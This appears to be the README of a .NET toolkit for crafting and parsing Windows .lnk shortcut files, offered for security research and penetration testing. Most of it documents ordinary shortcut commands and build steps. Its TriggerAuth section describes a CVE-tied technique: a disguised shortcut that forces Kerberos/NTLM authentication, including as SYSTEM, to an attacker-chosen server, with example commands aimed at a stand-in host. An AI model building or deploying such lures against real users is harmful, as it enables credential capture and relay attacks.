
Lnk crafting and research tools
Un conjunto de herramientas .NET 8 para crear y analizar archivos Windows Shell Link (.lnk). Incluye un constructor de línea de comandos (LnkMeMaybe) y un editor gráfico (LnkUi). Diseñado para investigación de seguridad y pruebas de penetración.
| Project | Description |
|---|---|
Lnk/ | Biblioteca principal. Analiza y genera el formato binario .lnk según la especificación MS-SHLLINK. LnkHandler es el punto de entrada principal, que compone ShellLinkHeader, LinkTargetIDList, LinkInfo, StringData y ExtraData. |
LnkMeMaybe/ | Herramienta CLI. Comandos para generar una variedad de archivos .lnk. Utiliza el framework Titanis.Cli. |
LnkUi/ | Editor de escritorio Avalonia 11 con MVVM. Siete ViewModels envuelven los componentes correspondientes de la biblioteca Lnk. Útil para la exploración e inspección manual de archivos .lnk. |
LnkTests/ | Suite MSTest. Muestras reales de archivos .lnk están incrustadas como recursos. Cubre ShellLinkHeader y LinkInfo. |
Todos los comandos comparten los siguientes parámetros base (de BaseSavedCommand):
TriggerAuth (CVE-2026-25185)Crea un .lnk que dispara la autenticación Kerberos (con respaldo a NTLM) a un servidor especificado. El .lnk no ejecuta nada.
Escenarios en los que se dispara la autenticación:
.lnk — la cuenta del usuario realiza la autenticación saliente..lnk se coloca en una ubicación que la máquina está configurada para indexar — SearchProtocolHost se autentica como SYSTEM.MSSense.exe se autentica como SYSTEM.Parámetros:
Ejemplos:
# Send authentication to \\controlled.example.org\IPC$ while posing as notepad
LnkMeMaybe.exe TriggerAuth -F C:\Windows\notepad.exe -S \\controlled.example.org -DisplayName notepad.exe -I C:\Windows\notepad.exe -OutputPath notepad.lnk
# Send authentication to a specific share path while posing as a folder shortcut
LnkMeMaybe.exe TriggerAuth -F C:\Users\Public -S \\controlled.example.org\validshare\somefile.txt -DisplayName C:\Users\Public -I C:\Windows\system32\imageres.dll -IconIndex 3 -OutputPath Public.lnk
WebShortcutCrea un archivo .lnk que apunta a una URL web. Normalmente Windows crea un archivo .url para los accesos directos web; este comando produce un .lnk en su lugar.
Parámetros:
| Parameter | Required | Description |
|---|---|---|
--Url | Yes | La URL a la que debe apuntar el acceso directo. Debe ser un URI absoluto bien formado. |
Ejemplo:
LnkMeMaybe.exe WebShortcut -Url https://example.org -OutputPath example.lnk
LocalShortcutCrea un acceso directo estándar de Windows a un archivo o carpeta local. La ruta de destino se almacena como una lista de ID de elementos de shell (PIDL), el formato nativo que Windows utiliza para los accesos directos del sistema de archivos.
Parámetros:
Ejemplos:
# Create a shortcut to Notepad
LnkMeMaybe.exe LocalShortcut --TargetPath C:\Windows\notepad.exe --OutputPath notepad.lnk
# Shortcut with arguments and a custom icon
LnkMeMaybe.exe LocalShortcut --TargetPath C:\Windows\notepad.exe --Arguments myfile.txt --WorkingDirectory C:\Users\Public --OutputPath notepad.lnk -I C:\Windows\notepad.exe
# Shortcut that opens maximised and requests elevation
LnkMeMaybe.exe LocalShortcut --TargetPath C:\Windows\System32\cmd.exe --ShowCommand Maximized --RunAsAdmin --OutputPath cmd_admin.lnk
EnvShortcutCrea un .lnk donde la ruta de destino se almacena como una cadena de variable de entorno expandible (EnvironmentVariableDataBlock). Este es el formato que Windows utiliza para los accesos directos a ejecutables del sistema (p. ej. %SystemRoot%\system32\notepad.exe). Las variables se expanden en el momento del lanzamiento, lo que hace que el acceso directo sea portable entre instalaciones de Windows.
Parámetros:
Ejemplos:
# Shortcut to Notepad using an environment variable path
LnkMeMaybe.exe EnvShortcut --TargetPath "%SystemRoot%\system32\notepad.exe" --OutputPath notepad.lnk
# Shortcut to a user-profile app with arguments
LnkMeMaybe.exe EnvShortcut --TargetPath "%LOCALAPPDATA%\MyApp\app.exe" --Arguments "--config default" --WorkingDirectory "%USERPROFILE%" --OutputPath myapp.lnk
# Build (debug)
dotnet build Lnk.sln
# Build (release, core projects only)
dotnet build -c Release build.slnf
# Run all tests
dotnet test
# Run a specific test class
dotnet test --filter "ClassName=lnkHeader"
# Publish self-contained single-file executable (Windows x64)
dotnet publish -c Release -r win-x64 -p:PublishSingleFile=true -p:DebugType=None --self-contained true --output LnkMeMaybeWindows LnkMeMaybe/LnkMeMaybe.csproj
Los binarios precompilados para Windows, Linux y macOS (x64 y arm64) están disponibles en la página de Lanzamientos.
Cada lanzamiento incluye versiones independientes (no requieren runtime de .NET) y dependientes del framework (requieren runtime de .NET 8) para LnkMeMaybe y LnkUi.
Se utilizaron sistemas de IA para las siguientes tareas:
El código presente en este repositorio fue, por lo demás, creado y revisado por humanos.
| Parameter | Alias | Required | Description |
|---|
--OutputPath | Yes | Ruta del sistema de archivos donde se escribirá el archivo .lnk. | |
--Overwrite | No | Permite sobrescribir un archivo existente en OutputPath. | |
--DisplayName | No | Texto que se muestra al pasar el cursor sobre el acceso directo. Admite \n para saltos de línea. | |
--IconPath / -I | -I | No | Ruta a un .exe o .dll para usar como icono del acceso directo. Debe existir en el sistema de destino. |
--IconIndex | No | Índice del recurso de icono dentro del archivo especificado por --IconPath. Valor predeterminado: 0. |
| Parameter | Alias | Required | Description |
|---|
--FakePath / -F | -F | Yes | Ruta mostrada como destino en las propiedades del .lnk. |
--Server / -S | -S | Yes | Hostname del servidor, IP o ruta UNC a la que enviar la autenticación. Añade IPC$ si no se especifica ningún recurso compartido. |
--Darwin | No | Identificador Darwin almacenado en el .lnk. Puede ser cualquier valor. Valor predeterminado: unset. |
| Parameter | Alias | Required | Description |
|---|
--TargetPath | Yes | Ruta absoluta al archivo o carpeta de destino. | |
--Arguments | No | Argumentos de línea de comandos para pasar al destino. | |
--WorkingDirectory | -W | No | Directorio de trabajo para el proceso de destino. |
--RunAsAdmin | No | Solicitar elevación de UAC al lanzar el acceso directo. | |
--ShowCommand | No | Estado de la ventana al lanzarse: Normal, Maximized o Minimized. |
| Parameter | Alias | Required | Description |
|---|
--TargetPath | Yes | Ruta de destino, puede incluir variables de entorno como %SystemRoot% o %USERPROFILE%. | |
--Arguments | No | Argumentos de línea de comandos para pasar al destino. | |
--WorkingDirectory | -W | No | Directorio de trabajo para el proceso de destino. |
--RunAsAdmin | No | Solicitar elevación de UAC al lanzar el acceso directo. | |
--ShowCommand | No | Estado de la ventana al lanzarse: Normal, Maximized o Minimized. |